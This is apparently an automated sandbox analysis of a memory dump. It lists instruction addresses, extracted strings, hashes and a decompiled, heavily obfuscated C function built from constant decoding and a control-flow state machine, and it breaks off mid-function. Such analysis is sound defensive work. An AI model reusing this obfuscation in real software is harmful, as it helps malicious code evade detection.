0x00f9990e
0x00f99922
0x00f99927
0x00f9992e
0x00f99939
0x00f99944
0x00f9994c
0x00f99954
0x00f9995c
0x00f99961
0x00f99969
0x00f99974
0x00f9997c
0x00f99987
0x00f99997
0x00f9999d
0x00f999a5
0x00f999ad
0x00f999b5
0x00f999c0
0x00f999cb
0x00f999d6
0x00f999de
0x00f999e9
0x00f999f4
0x00f99a07
0x00f99a0a
0x00f99a11
0x00f99a1c
0x00f99a27
0x00f99a3a
0x00f99a41
0x00f99a49
0x00f99a54
0x00f99a5f
0x00f99a72
0x00f99a79
0x00f99a84
0x00f99a9a
0x00f99aa1
0x00f99aac
0x00f99ab7
0x00f99ac2
0x00f99acd
0x00f99ad8
0x00f99ae3
0x00f99aee
0x00f99af9
0x00f99b04
0x00f99b0f
0x00f99b1a
0x00f99b2c
0x00f99b2f
0x00f99b36
0x00f99b41
0x00f99b4c
0x00f99b54
0x00f99b5f
0x00f99b6a
0x00f99b75
0x00f99b80
0x00f99b8b
0x00f99b96
0x00f99ba1
0x00f99bac
0x00f99bb7
0x00f99bc2
0x00f99bcf
0x00f99bda
0x00f99be2
0x00f99bed
0x00f99bf8
0x00f99c03
0x00f99c0e
0x00f99c19
0x00f99c24
0x00f99c2f
0x00f99c37
0x00f99c3f
0x00f99c4a
0x00f99c5e
0x00f99c63
0x00f99c6c
0x00f99c77
0x00f99c82
0x00f99c8a
0x00f99c95
0x00f99ca0
0x00f99cab
0x00f99cb6
0x00f99cbe
0x00f99cc6
0x00f99cd1
0x00f99cd9
0x00f99ce1
0x00f99ce6
0x00f99cee
0x00f99cf6
0x00f99d01
0x00f99d0c
0x00f99d17
0x00f99d22
0x00f99d2d
0x00f99d38
0x00f99d43
0x00f99d4e
0x00f99d56
0x00f99d61
0x00f99d6c
0x00f99d74
0x00f99d7c
0x00f99d84
0x00f99d8c
0x00f99d94
0x00f99d9f
0x00f99daa
0x00f99db5
0x00f99dc0
0x00f99dc8
0x00f99dd3
0x00f99dde
0x00f99de9
0x00f99df1
0x00f99df6
0x00f99dfe
0x00f99e03
0x00f99e0b
0x00f99e1d
0x00f99e20
0x00f99e27
0x00f99e32
0x00f99e3d
0x00f99e45
0x00f99e50
0x00f99e5b
0x00f99e66
0x00f99e71
0x00f99e7c
0x00f99e87
0x00f99e92
0x00f99ea8
0x00f99ead
0x00f99eb6
0x00f99ec1
0x00f99ec9
0x00f99ed1
0x00f99ed9
0x00f99ee1
0x00f99ee9
0x00f99ef4
0x00f99efc
0x00f99f07
0x00f99f12
0x00f99f1d
0x00f99f28
0x00f99f33
0x00f99f3e
0x00f99f49
0x00f99f54
0x00f99f61
0x00f99f64
0x00f99f68
0x00f99f75
0x00f99f79
0x00f99f81
0x00f99f8c
0x00f99f97
0x00f99fa2
0x00f99fb2
0x00f99fb6
0x00f99fc2
0x00f99fc5
0x00f99fc9
0x00f99fd1
0x00f99fd9
0x00f99fe6
0x00f99fea
0x00f99ff2
0x00f99ffd
0x00f9a008
0x00f9a010
0x00f9a01b
0x00f9a023
0x00f9a028
0x00f9a02d
0x00f9a035
0x00f9a03d
0x00f9a045
0x00f9a04d
0x00f9a055
0x00f9a05d
0x00f9a065
0x00f9a070
0x00f9a07b
0x00f9a086
0x00f9a091
0x00f9a099
0x00f9a0a4
0x00f9a0af
0x00f9a0c2
0x00f9a0c9
0x00f9a0d1
0x00f9a0dc
0x00f9a0f2
0x00f9a0f7
0x00f9a100
0x00f9a10b
0x00f9a116
0x00f9a121
0x00f9a12c
0x00f9a137
0x00f9a142
0x00f9a14d
0x00f9a158
0x00f9a163
0x00f9a16e
0x00f9a179
0x00f9a184
0x00f9a18f
0x00f9a1a2
0x00f9a1a5
0x00f9a1ac
0x00f9a1b7
0x00f9a1c2
0x00f9a1cd
0x00f9a1d8
0x00f9a1e0
0x00f9a1ed
0x00f9a1f1
0x00f9a1f9
0x00f9a201
0x00f9a20c
0x00f9a217
0x00f9a21f
0x00f9a22a
0x00f9a232
0x00f9a23a
0x00f9a242
0x00f9a246
0x00f9a24e
0x00f9a259
0x00f9a264
0x00f9a26f
0x00f9a27a
0x00f9a285
0x00f9a290
0x00f9a298
0x00f9a2a3
0x00f9a2b9
0x00f9a2c0
0x00f9a2cb
0x00f9a2d6
0x00f9a2e1
0x00f9a2e8
0x00f9a2f3
0x00f9a305
0x00f9a308
0x00f9a30f
0x00f9a31a
0x00f9a325
0x00f9a330
0x00f9a33b
0x00f9a346
0x00f9a351
0x00f9a359
0x00f9a360
0x00f9a36b
0x00f9a376
0x00f9a383
0x00f9a397
0x00f9a39c
0x00f9a3a5
0x00f9a3b5
0x00f9a3bd
0x00f9a3c5
0x00f9a3cd
0x00f9a3d5
0x00f9a3dd
0x00f9a3e8
0x00f9a3f8
0x00f9a3fb
0x00f9a402
0x00f9a409
0x00f9a410
0x00f9a41b
0x00f9a426
0x00f9a431
0x00f9a43c
0x00f9a447
0x00f9a452
0x00f9a45d
0x00f9a468
0x00f9a470
0x00f9a47a
0x00f9a47e
0x00f9a486
0x00f9a48e
0x00f9a496
0x00f9a49a
0x00f9a4a2
0x00f9a4a7
0x00f9a4af
0x00f9a4ba
0x00f9a4c5
0x00f9a4d0
0x00f9a4db
0x00f9a4e3
0x00f9a4e7
0x00f9a4ef
0x00f9a4f7
0x00f9a4ff
0x00f9a515
0x00f9a51c
0x00f9a527
0x00f9a532
0x00f9a53d
0x00f9a54f
0x00f9a552
0x00f9a559
0x00f9a559
0x00f9a564
0x00f9a564
0x00f9a564
0x00f9a564
0x00f9a56a
0x00000000
0x00000000
0x00f9a570
0x00f9aa28
0x00f9aa2d
0x00f9aa34
0x00f9aa3c
0x00000000
0x00f9aa3c
0x00f9a576
0x00f9a57c
0x00f9a896
0x00f9a89c
0x00f9a936
0x00f9a93c
0x00f9a9bf
0x00f9a9c1
0x00f9a9e4
0x00f9a9ed
0x00f9a9f5
0x00000000
0x00f9a9f5
0x00f9a9ca
0x00f9a9d3
0x00f9a9d5
0x00f9a9ab
0x00f9a9ab
0x00000000
0x00f9a9ab
0x00f9a93e
0x00f9a944
0x00f9a99a
0x00f9a9a3
0x00f9a9a5
0x00f9a9a5
0x00000000
0x00f9a9a5
0x00f9a946
0x00f9a94c
0x00f9ae59
0x00f9ae5e
0x00f9ae65
0x00f9ae65
0x00f9a952
0x00f9a958
0x00000000
0x00000000
0x00f9a97a
0x00f9a981
0x00f9a986
0x00f9a989
0x00000000
0x00f9a989
0x00f9a8a2
0x00f9a91e
0x00f9a925
0x00f9a92a
0x00000000
0x00f9a92a
0x00f9a8a4
0x00f9a8aa
0x00f9a90f
0x00f9a914
0x00000000
0x00f9a914
0x00f9a8ac
0x00f9a8b2
0x00f9ae4b
0x00000000
0x00f9ae4b
0x00f9a8b8
0x00f9a8be
0x00f9a8f5
0x00f9a8fa
0x00000000
0x00f9a8fa
0x00f9a8c0
0x00f9a8c6
0x00000000
0x00000000
0x00f9a8d7
0x00f9a8dc
0x00f9a8de
0x00000000
0x00000000
0x00f9a8e4
0x00000000
0x00f9a8e4
0x00f9a582
0x00f9ae3a
0x00000000
0x00f9ae3f
0x00f9a588
0x00f9a58e
0x00f9a7b8
0x00f9a7be
0x00f9a838
0x00f9a83f
0x00f9a88f
0x00f9a88f
0x00000000
0x00f9a88f
0x00f9a868
0x00f9a86d
0x00f9a870
0x00f9a877
0x00f9a88a
0x00000000
0x00f9a88a
0x00f9a879
0x00000000
0x00f9a879
0x00f9a7c0
0x00f9a7c6
0x00f9a822
0x00f9a827
0x00f9a82e
0x00000000
0x00f9a82e
0x00f9a7c8
0x00f9a7ce
0x00f9a805
0x00f9a80a
0x00000000
0x00f9a80a
0x00f9a7d0
0x00f9a7d6
0x00000000
0x00000000
0x00f9a7e7
0x00f9a7ec
0x00f9a7ee
0x00000000
0x00000000
0x00f9a7f4
0x00000000
0x00f9a7f4
0x00f9a594
0x00f9a7a2
0x00f9a7a7
0x00f9a7ae
0x00000000
0x00f9a7ae
0x00f9a5a0
0x00f9a78c
0x00f9a791
0x00000000
0x00f9a791
0x00f9a5ac
0x00f9a6d1
0x00f9a6ff
0x00f9a720
0x00f9a742
0x00f9a74a
0x00f9a750
0x00f9a771
0x00f9a776
0x00000000
0x00f9a776
0x00f9a5b8
0x00f9a68b
0x00f9a690
0x00f9a697
0x00f9a69f
0x00000000
0x00f9a69f
0x00f9a5c4
0x00000000
0x00000000
0x00f9a5e7
0x00f9a5ed
0x00f9a5f0
0x00f9a62f
0x00f9a636
0x00f9a639
0x00f9a645
0x00f9a647
0x00f9a64e
0x00f9a64e
0x00000000
0x00f9a64e
0x00f9a649
0x00f9a64c
0x00f9a625
0x00f9a625
0x00000000
0x00f9a625
0x00000000
0x00f9a64c
0x00f9a63b
0x00000000
0x00f9a63b
0x00f9a60b
0x00f9a60c
0x00f9a610
0x00f9a612
0x00f9a619
0x00f9a61e
0x00f9a621
0x00f9a623
0x00000000
0x00f9a623
0x00f9aa47
0x00f9aa4d
0x00f9ac6a
0x00f9ac70
0x00f9ad69
0x00f9ad6f
0x00f9adf6
0x00f9adfb
0x00f9adfd
0x00f9ae06
0x00f9ae06
0x00f9ae0b
0x00000000
0x00f9ae0b
0x00f9ad71
0x00f9ad77
0x00f9adde
0x00f9ade5
0x00000000
0x00f9ade5
0x00f9ad79
0x00f9ad7f
0x00000000
0x00000000
0x00f9ad8c
0x00f9ad98
0x00f9adb2
0x00f9adb3
0x00f9adba
0x00f9adbc
0x00f9adc3
0x00f9adc8
0x00f9adcb
0x00f9acc8
0x00f9acc8
0x00000000
0x00f9acc8
0x00f9ac76
0x00f9ad52
0x00f9ad57
0x00f9ad59
0x00000000
0x00000000
0x00f9ad5f
0x00000000
0x00f9ad5f
0x00f9ac7c
0x00f9ac82
0x00f9ad1c
0x00f9ad28
0x00f9ad31
0x00f9ad39
0x00000000
0x00f9ad39
0x00f9ac88
0x00f9ac8e
0x00f9ad06
0x00f9ad0b
0x00000000
0x00f9ad0b
0x00f9ac90
0x00f9ac92
0x00f9ace8
0x00f9aced
0x00f9acee
0x00000000
0x00f9acee
0x00f9ac94
0x00f9ac9a
0x00000000
0x00000000
0x00f9acb9
0x00f9acc0
0x00f9acc5
0x00000000
0x00f9acc5
0x00f9aa53
0x00f9ac5b
0x00f9ac60
0x00000000
0x00f9ac60
0x00f9aa59
0x00f9aa5f
0x00f9ab9b
0x00f9aba1
0x00f9ac3e
0x00f9ac43
0x00000000
0x00f9ac43
0x00f9aba7
0x00f9abad
0x00f9ac15
0x00f9ac1c
0x00f9ac21
0x00f9ac22
0x00f9ac29
0x00000000
0x00f9ac29
0x00f9abaf
0x00f9abb5
0x00f9abe8
0x00f9abec
0x00f9abee
0x00000000
0x00f9abee
0x00f9abb7
0x00f9abbd
0x00000000
0x00000000
0x00f9abd1
0x00f9abd6
0x00f9abd8
0x00000000
0x00000000
0x00f9abde
0x00000000
0x00f9abde
0x00f9aa65
0x00f9ab7f
0x00f9ab88
0x00f9ab90
0x00000000
0x00f9ab90
0x00f9aa6b
0x00f9aa71
0x00f9ab5d
0x00f9ab62
0x00f9ab64
0x00000000
0x00000000
0x00f9ab6a
0x00000000
0x00f9ab6a
0x00f9aa77
0x00f9aa7d
0x00f9ab4f
0x00000000
0x00f9ab4f
0x00f9aa83
0x00f9aa89
0x00f9aac0
0x00f9aac5
0x00f9aac6
0x00f9aac8
0x00f9aad3
0x00f9aada
0x00f9aadc
0x00f9aaf1
0x00f9aaf2
0x00f9aaf6
0x00f9aaf8
0x00f9ab01
0x00f9ab03
0x00f9ab06
0x00f9ab06
0x00f9ab0d
0x00f9ab10
0x00f9ab28
0x00f9ab29
0x00f9ab30
0x00f9ab32
0x00f9ab39
0x00f9ab3e
0x00f9ab41
0x00f9ab41
0x00f9aaca
0x00f9aaca
0x00f9aaca
0x00f9ab43
0x00f9ab45
0x00000000
0x00f9ab45
0x00f9aa8b
0x00f9aa91
0x00000000
0x00000000
0x00f9aa9b
0x00f9aaa0
0x00000000
0x00f9ae10
0x00f9ae10
0x00f9ae10
0x00000000

Strings

]p, xrefs: 00F9940D
[, xrefs: 00F99BC2
&]^, xrefs: 00F9A24E
ll, xrefs: 00F99788
u+J, xrefs: 00F9A625
q, xrefs: 00F99268
u+J, xrefs: 00F9AE0B
8YNn, xrefs: 00F99235
Ao, xrefs: 00F9A2C0
~c, xrefs: 00F997D6
oC., xrefs: 00F99207
;, xrefs: 00F99F68
*p, xrefs: 00F99658
CK, xrefs: 00F9987E
td, xrefs: 00F99DF6
fM6, xrefs: 00F99E32
@0, xrefs: 00F9939A
&\b, xrefs: 00F9ACEE
&\b, xrefs: 00F9A564
jo, xrefs: 00F99F8C
,H<, xrefs: 00F9A351
l?U, xrefs: 00F998EB
u+J, xrefs: 00F9A952
~/, xrefs: 00F995DB
qM0, xrefs: 00F9A4BA

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: qM0$&\b$&\b$&]^$*p$,H<$8YNn$@0$Ao$CK$]p$fM6$jo$l?U$ll$oC.$td$u+J$u+J$u+J$~/$;$~c$[$q
API String ID: 0-640385374
Opcode ID: 791292c190d6559d3738c57385101a33f3af28475f84d67e418eba2328310216
Instruction ID: a2c7bdbf7db1d6f366429e73881dc8ef7575484d81e9a755b2b1132b5c8dd11e
Opcode Fuzzy Hash: 791292c190d6559d3738c57385101a33f3af28475f84d67e418eba2328310216
Instruction Fuzzy Hash: 55D224729083808BD7B8DF25C98A7CBBBE1BB84314F10891DE5DD96260D7B49949DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00F9F561, Relevance: 21.9, Strings: 17, Instructions: 663
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00F9F561(intOrPtr __ecx) {
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				char _v80;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				void* _t761;
				void* _t763;
				void* _t772;
				void* _t780;
				intOrPtr _t792;
				void* _t795;
				signed int _t797;
				void* _t808;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				void* _t829;
				void* _t832;
				void* _t889;
				void* _t913;
				void* _t916;
				intOrPtr _t917;
				void* _t921;
				signed int* _t923;
				void* _t925;

				_t923 =  &_v392;
				_v200 = 0x89ca81;
				_v200 = _v200 * 0x5d;
				_t921 = 0;
				_v200 = _v200 ^ 0xaf9dd6ae;
				_t808 = 0xf774147;
				_v200 = _v200 ^ 0xd0d10238;
				_v340 = 0x7031b3;
				_v340 = _v340 << 9;
				_v340 = _v340 + 0xdab9;
				_v76 = __ecx;
				_t814 = 0x5e;
				_v340 = _v340 / _t814;
				_v340 = _v340 ^ 0x02631bed;
				_v344 = 0x913049;
				_v344 = _v344 >> 6;
				_v344 = _v344 + 0xffffeb40;
				_v344 = _v344 >> 9;
				_v344 = _v344 ^ 0x00000118;
				_v208 = 0xd820b3;
				_t815 = 0x11;
				_v208 = _v208 * 0x75;
				_v208 = _v208 / _t815;
				_v208 = _v208 ^ 0x05cf77a2;
				_v264 = 0x2d7b5a;
				_v264 = _v264 >> 3;
				_t816 = 0x60;
				_v264 = _v264 / _t816;
				_v264 = _v264 ^ 0x00000f29;
				_v228 = 0x9ea28;
				_v228 = _v228 >> 4;
				_v228 = _v228 << 3;
				_v228 = _v228 ^ 0x0004f510;
				_v212 = 0xfc5601;
				_t817 = 0x65;
				_v212 = _v212 * 0x23;
				_v212 = _v212 ^ 0x83bd7763;
				_v212 = _v212 ^ 0xa1c2b540;
				_v216 = 0xc9f780;
				_v216 = _v216 >> 0xd;
				_v216 = _v216 << 0xa;
				_v216 = _v216 ^ 0x00193c00;
				_v100 = 0xa15ef3;
				_v100 = _v100 + 0xcfb3;
				_v100 = _v100 ^ 0x00a22ea6;
				_v128 = 0x732cc;
				_v128 = _v128 ^ 0x331cc4bd;
				_v128 = _v128 ^ 0x331bf671;
				_v260 = 0x567154;
				_v260 = _v260 + 0x98f2;
				_v260 = _v260 | 0x07205bc1;
				_v260 = _v260 ^ 0x07775bc7;
				_v296 = 0xb824e0;
				_v296 = _v296 ^ 0x4344e171;
				_v296 = _v296 << 5;
				_v296 = _v296 << 9;
				_v296 = _v296 ^ 0x31644000;
				_v392 = 0xb375bd;
				_v392 = _v392 / _t817;
				_v392 = _v392 + 0x740b;
				_v392 = _v392 ^ 0x46953f20;
				_v392 = _v392 ^ 0x469705e9;
				_v380 = 0x6f0fc1;
				_v380 = _v380 + 0x682a;
				_v380 = _v380 << 0x10;
				_t818 = 0x35;
				_v380 = _v380 / _t818;
				_v380 = _v380 ^ 0x02448a90;
				_v232 = 0xb7f463;
				_v232 = _v232 >> 2;
				_t819 = 0x16;
				_v232 = _v232 / _t819;
				_v232 = _v232 ^ 0x000b0aa6;
				_v184 = 0x1e2afb;
				_v184 = _v184 << 1;
				_v184 = _v184 ^ 0x0039344d;
				_v272 = 0xd60a24;
				_v272 = _v272 >> 0x10;
				_v272 = _v272 << 8;
				_v272 = _v272 ^ 0x0007d834;
				_v88 = 0xccda6;
				_v88 = _v88 | 0xd009f965;
				_v88 = _v88 ^ 0xd00eb16a;
				_v160 = 0x116f8;
				_v160 = _v160 << 1;
				_v160 = _v160 ^ 0x00010446;
				_v332 = 0xe14840;
				_v332 = _v332 + 0xe9af;
				_v332 = _v332 << 5;
				_t820 = 0x52;
				_v332 = _v332 * 5;
				_v332 = _v332 ^ 0x8d5f04ba;
				_v112 = 0x9b5594;
				_v112 = _v112 + 0x8c2;
				_v112 = _v112 ^ 0x009353c4;
				_v152 = 0xaad272;
				_v152 = _v152 + 0xa340;
				_v152 = _v152 ^ 0x00a74a81;
				_v224 = 0xfde353;
				_v224 = _v224 >> 0xd;
				_v224 = _v224 * 0x71;
				_v224 = _v224 ^ 0x0000f406;
				_v372 = 0x10fd3f;
				_v372 = _v372 / _t820;
				_v372 = _v372 * 0x26;
				_v372 = _v372 ^ 0x900c513e;
				_v372 = _v372 ^ 0x9009d373;
				_v192 = 0x9bc28f;
				_v192 = _v192 ^ 0x8daa98a9;
				_v192 = _v192 >> 2;
				_v192 = _v192 ^ 0x234acdcf;
				_v256 = 0x6a542c;
				_v256 = _v256 << 6;
				_v256 = _v256 + 0xcf70;
				_v256 = _v256 ^ 0x1a90167c;
				_v308 = 0xb0ac3a;
				_v308 = _v308 + 0xffff0ba4;
				_v308 = _v308 >> 7;
				_v308 = _v308 ^ 0x7a292cfc;
				_v308 = _v308 ^ 0x7a298d34;
				_v352 = 0x7fa15;
				_v352 = _v352 << 8;
				_v352 = _v352 + 0x42c8;
				_v352 = _v352 ^ 0x420546d7;
				_v352 = _v352 ^ 0x45f279ac;
				_v172 = 0x3c10dc;
				_v172 = _v172 + 0x934c;
				_v172 = _v172 ^ 0x003c5902;
				_v252 = 0x8e9148;
				_t821 = 0x3d;
				_v252 = _v252 * 0x15;
				_v252 = _v252 >> 8;
				_v252 = _v252 ^ 0x0000fb60;
				_v164 = 0x57b7bf;
				_v164 = _v164 * 0x65;
				_v164 = _v164 ^ 0x2299a995;
				_v336 = 0xdc0eaf;
				_v336 = _v336 << 3;
				_v336 = _v336 + 0xdead;
				_v336 = _v336 + 0x5890;
				_v336 = _v336 ^ 0x06efbc16;
				_v148 = 0x5f891c;
				_v148 = _v148 + 0xe952;
				_v148 = _v148 ^ 0x00699f2d;
				_v156 = 0xb9bdf1;
				_v156 = _v156 * 0x30;
				_v156 = _v156 ^ 0x22d92b94;
				_v328 = 0xdd275a;
				_v328 = _v328 ^ 0xf9c8fd87;
				_v328 = _v328 | 0xb4ffffed;
				_v328 = _v328 ^ 0xfdf2704c;
				_v220 = 0xdc69da;
				_v220 = _v220 / _t821;
				_v220 = _v220 ^ 0xf70c1774;
				_v220 = _v220 ^ 0xf706e836;
				_v236 = 0xe3f700;
				_v236 = _v236 << 6;
				_v236 = _v236 | 0x5d8b8659;
				_v236 = _v236 ^ 0x7dfec952;
				_v132 = 0xe887ef;
				_t822 = 7;
				_v132 = _v132 / _t822;
				_v132 = _v132 ^ 0x0024c858;
				_v140 = 0xc58056;
				_v140 = _v140 >> 5;
				_v140 = _v140 ^ 0x0004a47e;
				_v244 = 0x7835a9;
				_v244 = _v244 >> 5;
				_v244 = _v244 + 0xffff434e;
				_v244 = _v244 ^ 0x000b19d5;
				_v124 = 0x628bac;
				_v124 = _v124 >> 0x10;
				_v124 = _v124 ^ 0x000d99ba;
				_v196 = 0x3c4d43;
				_v196 = _v196 << 0xe;
				_v196 = _v196 ^ 0x3d5f35f5;
				_v196 = _v196 ^ 0x2e03dce1;
				_v204 = 0x3d8ce2;
				_v204 = _v204 + 0x9c91;
				_v204 = _v204 ^ 0x7a1df218;
				_v204 = _v204 ^ 0x7a210bc9;
				_v188 = 0x2b0ddf;
				_v188 = _v188 >> 0xe;
				_v188 = _v188 >> 0xf;
				_v188 = _v188 ^ 0x00037781;
				_v312 = 0x266488;
				_t823 = 0x3c;
				_v312 = _v312 / _t823;
				_v312 = _v312 >> 2;
				_v312 = _v312 + 0xffff0572;
				_v312 = _v312 ^ 0xffff9b33;
				_v320 = 0xbcf7b8;
				_t824 = 0x39;
				_v320 = _v320 * 0x6b;
				_v320 = _v320 * 0x26;
				_v320 = _v320 / _t824;
				_v320 = _v320 ^ 0x034e55e7;
				_v364 = 0xfcda34;
				_v364 = _v364 + 0xdb03;
				_v364 = _v364 >> 6;
				_v364 = _v364 + 0xabad;
				_v364 = _v364 ^ 0x000f61ab;
				_v92 = 0x2a2b0e;
				_v92 = _v92 + 0x4979;
				_v92 = _v92 ^ 0x0021c920;
				_v144 = 0xa1e216;
				_v144 = _v144 + 0xffff5ff5;
				_v144 = _v144 ^ 0x00ad0a84;
				_v356 = 0xcae231;
				_v356 = _v356 >> 0xc;
				_v356 = _v356 | 0xfd8e10ca;
				_t825 = 0x72;
				_v356 = _v356 * 0x5c;
				_v356 = _v356 ^ 0x1f1c568f;
				_v324 = 0x253eae;
				_v324 = _v324 >> 2;
				_v324 = _v324 | 0xf8fd8aec;
				_v324 = _v324 + 0x754e;
				_v324 = _v324 ^ 0xf8f18caa;
				_v240 = 0xb94b94;
				_v240 = _v240 + 0xffff03b1;
				_v240 = _v240 + 0xc1ea;
				_v240 = _v240 ^ 0x00b636b6;
				_v248 = 0x665da;
				_v248 = _v248 / _t825;
				_v248 = _v248 ^ 0xe7146895;
				_v248 = _v248 ^ 0xe71d8416;
				_v136 = 0xf03201;
				_v136 = _v136 | 0x16662734;
				_v136 = _v136 ^ 0x16f8276c;
				_v348 = 0xf58dc;
				_v348 = _v348 | 0xcefb25f5;
				_v348 = _v348 ^ 0xb79d248d;
				_v348 = _v348 * 5;
				_v348 = _v348 ^ 0x5ee99df0;
				_v292 = 0x1bda;
				_v292 = _v292 ^ 0xf0c300cc;
				_v292 = _v292 | 0x62eaa242;
				_v292 = _v292 ^ 0x0fb5f6bf;
				_v292 = _v292 ^ 0xfd545b0a;
				_v388 = 0x7e987;
				_v388 = _v388 | 0xe51d24f3;
				_v388 = _v388 << 1;
				_v388 = _v388 | 0xd459dc12;
				_v388 = _v388 ^ 0xde72c5d1;
				_v168 = 0x6f1542;
				_v168 = _v168 >> 0xb;
				_v168 = _v168 ^ 0x00095e82;
				_v316 = 0xeb0c05;
				_v316 = _v316 * 0x34;
				_v316 = _v316 ^ 0x9a011e6d;
				_v316 = _v316 + 0xffffdd41;
				_v316 = _v316 ^ 0xb5bd4b4c;
				_v108 = 0x4384da;
				_v108 = _v108 << 7;
				_v108 = _v108 ^ 0x21ca9036;
				_v376 = 0x26f029;
				_v376 = _v376 | 0x5c3fc44f;
				_v376 = _v376 * 0x5e;
				_v376 = _v376 << 0xa;
				_v376 = _v376 ^ 0xef0e7155;
				_v120 = 0xfb00c8;
				_t826 = 0x70;
				_v120 = _v120 / _t826;
				_v120 = _v120 ^ 0x0007bcc6;
				_v104 = 0x83a54a;
				_v104 = _v104 + 0xffff432b;
				_v104 = _v104 ^ 0x008e71dd;
				_v384 = 0x2ff4f3;
				_v384 = _v384 | 0xd0f2a060;
				_v384 = _v384 << 0xc;
				_t827 = 0x63;
				_v384 = _v384 * 0x15;
				_v384 = _v384 ^ 0xf17b8b1a;
				_v284 = 0x7bc7d6;
				_v284 = _v284 | 0xfb469b5d;
				_v284 = _v284 >> 0x10;
				_v284 = _v284 ^ 0x000029d1;
				_v276 = 0xc7b492;
				_v276 = _v276 ^ 0xda7fe355;
				_v276 = _v276 ^ 0xf789276a;
				_v276 = _v276 ^ 0x2d34b316;
				_v280 = 0xc4b066;
				_v280 = _v280 + 0x2d4a;
				_v280 = _v280 ^ 0x79b35fac;
				_v280 = _v280 ^ 0x79759ff7;
				_v360 = 0x6bdb51;
				_v360 = _v360 << 4;
				_v360 = _v360 >> 7;
				_v360 = _v360 / _t827;
				_v360 = _v360 ^ 0x0009f0c5;
				_v180 = 0xdedf2a;
				_t828 = 0x4a;
				_v180 = _v180 * 0x51;
				_v180 = _v180 ^ 0x46824d47;
				_v368 = 0xc3e69e;
				_v368 = _v368 + 0xffff984d;
				_v368 = _v368 * 0x6d;
				_v368 = _v368 * 0x79;
				_v368 = _v368 ^ 0x57d87162;
				_v300 = 0x54bd4a;
				_v300 = _v300 | 0xb63244a0;
				_v300 = _v300 + 0x417e;
				_v300 = _v300 | 0x63a11be6;
				_v300 = _v300 ^ 0xf7f931f3;
				_v268 = 0xbea848;
				_v268 = _v268 >> 9;
				_v268 = _v268 | 0x5eb62668;
				_v268 = _v268 ^ 0x5eb9ee94;
				_v96 = 0x440258;
				_v96 = _v96 >> 0x10;
				_v96 = _v96 ^ 0x0009723b;
				_v176 = 0x3b19f4;
				_v176 = _v176 / _t828;
				_v176 = _v176 ^ 0x0001c2c1;
				_v116 = 0x144365;
				_v116 = _v116 | 0x65ecb7a2;
				_v116 = _v116 ^ 0x65f0ee99;
				_v288 = 0xea5434;
				_v288 = _v288 >> 1;
				_v288 = _v288 | 0xb6140203;
				_v288 = _v288 >> 9;
				_v288 = _v288 ^ 0x0050b8a2;
				_v304 = 0x566331;
				_t916 = 0x8e3f5ae;
				_v304 = _v304 >> 4;
				_t913 = 0xf1618c3;
				_v304 = _v304 >> 9;
				_v304 = _v304 >> 5;
				_v304 = _v304 ^ 0x000acbce;
				_v72 = 0x20;
				while(1) {
					L1:
					_t829 = 0xfce4db5;
					_t761 = 0x8c7d07e;
					_t889 = 0x74c5c61;
					do {
						while(1) {
							L2:
							_t925 = _t808 - _t916;
							if(_t925 <= 0) {
								break;
							}
							__eflags = _t808 - _t913;
							if(_t808 == _t913) {
								E00F82CF9(_v116, _v288, _v296, _v304, _v84);
								_t923 =  &(_t923[3]);
								_t808 = 0x3abff5b;
								goto L24;
							} else {
								__eflags = _t808 - 0xf774147;
								if(__eflags == 0) {
									_t808 = 0x77e61bb;
									continue;
								} else {
									__eflags = _t808 - _t829;
									if(__eflags == 0) {
										_push(0xf81648);
										_t917 = E00FA0AD3(_v352, _v172, __eflags);
										 *_t923 = 0xf81678;
										_t795 = E00FA0AD3(_v252, _v164, __eflags);
										_v64 = _v344;
										_t797 = E00F8F14F(_v336, _t917, _v148, _v156);
										_v56 = _v56 & 0x00000000;
										_v60 = _t917;
										_v52 = 1;
										_v68 = 2 + _t797 * 2;
										_v48 =  &_v68;
										_v80 = _v72;
										__eflags = E00F8386E(_v328,  &_v80, _v220, _v228, _v236,  &_v32, _v132,  &_v56, _v76, _v140, _v244, _v72, _t795) - _v212;
										_t808 =  ==  ? 0x74c5c61 : 0xf1618c3;
										E00F92EED(_v124, _v196, _v204, _t917);
										_t923 =  &(_t923[0x10]);
										E00F92EED(_v188, _v312, _v320, _t795);
										L11:
										_t913 = 0xf1618c3;
										L12:
										_t916 = 0x8e3f5ae;
										L24:
										_t761 = 0x8c7d07e;
										_t829 = 0xfce4db5;
										_t889 = 0x74c5c61;
									}
								}
							}
							goto L25;
						}
						if(_t925 == 0) {
